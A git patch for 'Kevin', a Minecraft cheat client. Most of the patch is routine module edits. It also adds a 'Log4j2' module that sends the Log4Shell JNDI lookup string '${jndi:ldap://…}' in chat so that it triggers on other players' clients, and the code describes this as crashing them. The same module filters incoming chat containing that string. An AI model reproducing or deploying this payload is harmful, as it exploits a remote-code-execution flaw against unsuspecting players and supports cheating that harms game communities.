From 3887b4d06fa2ce0e9cd366169124c0a4a520eef9 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E6=9D=B0=E5=93=A5=E6=95=99=E4=BD=A0=E7=99=BBdua=E9=83=8E?= <2998257409@qq.com> Date: Fri, 24 Dec 2021 19:16:39 +0800 Subject: [PATCH] Update 1.8 --- src/minecraft/Start.java | 2 +- src/minecraft/kevin/main/KevinClient.kt | 2 +- src/minecraft/kevin/module/ModuleManager.kt | 2 ++ .../kevin/module/modules/exploit/Log4j2.kt | 34 +++++++++++++++++++ .../modules/misc/AntiInvalidBlockPlacement.kt | 21 ++++++++++++ .../module/modules/misc/HideAndSeekHack.kt | 2 ++ .../kevin/module/modules/render/NameTags.kt | 2 +- .../client/C08PacketPlayerBlockPlacement.java | 6 ++-- 8 files changed, 65 insertions(+), 6 deletions(-) create mode 100644 src/minecraft/kevin/module/modules/exploit/Log4j2.kt create mode 100644 src/minecraft/kevin/module/modules/misc/AntiInvalidBlockPlacement.kt diff --git a/src/minecraft/Start.java b/src/minecraft/Start.java index ae0025f42..7272a6cb3 100644 --- a/src/minecraft/Start.java +++ b/src/minecraft/Start.java @@ -8,7 +8,7 @@ public class Start { public static void main(String[] args) { - Main.main(concat(new String[] {"--version", "mcp", "--accessToken", "0", "--assetsDir", "assets", "--assetIndex", "1.8", "--userProperties", "{}"}, args)); + Main.main(concat(new String[] {"--version", "kevin", "--accessToken", "0", "--assetsDir", "assets", "--assetIndex", "1.8", "--userProperties", "{}"}, args)); } public static T[] concat(T[] first, T[] second) diff --git a/src/minecraft/kevin/main/KevinClient.kt b/src/minecraft/kevin/main/KevinClient.kt index 2b7b82d75..97970de0e 100644 --- a/src/minecraft/kevin/main/KevinClient.kt +++ b/src/minecraft/kevin/main/KevinClient.kt @@ -22,7 +22,7 @@ import org.lwjgl.opengl.Display object KevinClient { var name = "Kevin" - var version = "b1.7" + var version = "b1.8" var isStarting = true diff --git a/src/minecraft/kevin/module/ModuleManager.kt b/src/minecraft/kevin/module/ModuleManager.kt index 3b2f7fa50..b7a41c956 100644 --- a/src/minecraft/kevin/module/ModuleManager.kt +++ b/src/minecraft/kevin/module/ModuleManager.kt @@ -49,6 +49,7 @@ class ModuleManager : Listenable { GhostHand(), KeepContainer(), Kick(), + Log4j2(), MultiActions(), NoPitchLimit(), Phase(), @@ -62,6 +63,7 @@ class ModuleManager : Listenable { miscList = arrayListOf( AdminDetector, AntiBot(), + AntiInvalidBlockPlacement(), AutoCommand(), AutoDisable, AutoL(), diff --git a/src/minecraft/kevin/module/modules/exploit/Log4j2.kt b/src/minecraft/kevin/module/modules/exploit/Log4j2.kt new file mode 100644 index 000000000..30dbfe0df --- /dev/null +++ b/src/minecraft/kevin/module/modules/exploit/Log4j2.kt @@ -0,0 +1,34 @@ +package kevin.module.modules.exploit + +import kevin.event.EventTarget +import kevin.event.PacketEvent +import kevin.module.Module +import kevin.module.ModuleCategory +import kevin.utils.ChatUtils +import net.minecraft.network.play.client.C01PacketChatMessage +import net.minecraft.network.play.server.S02PacketChat + +class Log4j2 : Module("Log4j2", "Anti log4j2 exploit and use it to crash other player client.", category = ModuleCategory.EXPLOIT) { + override fun onEnable() { + val m = arrayOf( + "www.baidu.com", + "liquidbounce.net", + "fanyi.sogou.com", + "github.com", + "scriptapi.liquidbounce.net", + ).random() + mc.netHandler.addToSendQueue(C01PacketChatMessage("\${jndi:ldap://$m}")) + ChatUtils.messageWithStart("Sent crash packet... [$m]") + this.state = false + } + @EventTarget(true) + fun onPacket(event: PacketEvent) { + val packet = event.packet + if (packet is S02PacketChat && + (packet.chatComponent.formattedText.contains("\${jndi:") + || packet.chatComponent.unformattedText.contains("\${jndi:"))) { + event.cancelEvent() + ChatUtils.messageWithStart("§aCancel receiving message that may trigger vulnerability!!(${packet.chatComponent.formattedText.replace("\${","").replace("}","")})") + } + } +} \ No newline at end of file diff --git a/src/minecraft/kevin/module/modules/misc/AntiInvalidBlockPlacement.kt b/src/minecraft/kevin/module/modules/misc/AntiInvalidBlockPlacement.kt new file mode 100644 index 000000000..8d974058f --- /dev/null +++ b/src/minecraft/kevin/module/modules/misc/AntiInvalidBlockPlacement.kt @@ -0,0 +1,21 @@ +package kevin.module.modules.misc + +import kevin.event.EventTarget +import kevin.event.PacketEvent +import kevin.module.BooleanValue +import kevin.module.Module +import kevin.via.ViaVersion +import net.minecraft.network.play.client.C08PacketPlayerBlockPlacement + +class AntiInvalidBlockPlacement : Module("AntiInvalidBlockPlacement", "Anti invalid block placement caused by via-version.") { + private val versionCheck = BooleanValue("VersionCheck", true) + @EventTarget + fun onPacket(event: PacketEvent) { + val packet = event.packet + if ((!versionCheck.get() || ViaVersion.nowVersion > 210) && packet is C08PacketPlayerBlockPlacement) { + packet.facingX = 0.5F + packet.facingY = 0.5F + packet.facingZ = 0.5F + } + } +} \ No newline at end of file diff --git a/src/minecraft/kevin/module/modules/misc/HideAndSeekHack.kt b/src/minecraft/kevin/module/modules/misc/HideAndSeekHack.kt index 80d74253d..365009757 100644 --- a/src/minecraft/kevin/module/modules/misc/HideAndSeekHack.kt +++ b/src/minecraft/kevin/module/modules/misc/HideAndSeekHack.kt @@ -195,6 +195,8 @@ object HideAndSeekHack : Module("HideAndSeekHack","Mark every hider.") { } @EventTarget fun onWorld(event: WorldEvent){ + if (event.worldClient == null) + return hiderBlocks.clear() airs.clear() sY = 0 diff --git a/src/minecraft/kevin/module/modules/render/NameTags.kt b/src/minecraft/kevin/module/modules/render/NameTags.kt index eb2d0ecbb..f54b09adc 100644 --- a/src/minecraft/kevin/module/modules/render/NameTags.kt +++ b/src/minecraft/kevin/module/modules/render/NameTags.kt @@ -99,7 +99,7 @@ class NameTags : Module("NameTags", "Changes the scale of the nametags so you ca val distanceText = if (distanceValue.get()) "§7 [§a${mc.thePlayer.getDistanceToEntity(entity).roundToInt()}§7]" else "" val pingText = if (pingValue.get() && entity is EntityPlayer) (if (ping > 200) "§c" else if (ping > 100) "§e" else "§a") + ping + "ms §7" else "" - val healthText = if (healthValue.get()) "§7 [§f" + entity.health.toInt() + "§c❤§7]" else "" + val healthText = if (healthValue.get()) "§7 [§c${entity.health.toInt()}❤${if (entity.absorptionAmount != 0F) "§7 + §e${entity.absorptionAmount.toInt()}❤" else ""}§7]" else "" val botText = if (bot) " §7[§6§lBot§7]" else "" val text = "$distanceText$pingText$nameColor$tag$healthText$botText" diff --git a/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java b/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java index 5ffd36cf4..207f0749b 100644 --- a/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java +++ b/src/minecraft/net/minecraft/network/play/client/C08PacketPlayerBlockPlacement.java @@ -13,9 +13,9 @@ public class C08PacketPlayerBlockPlacement implements Packet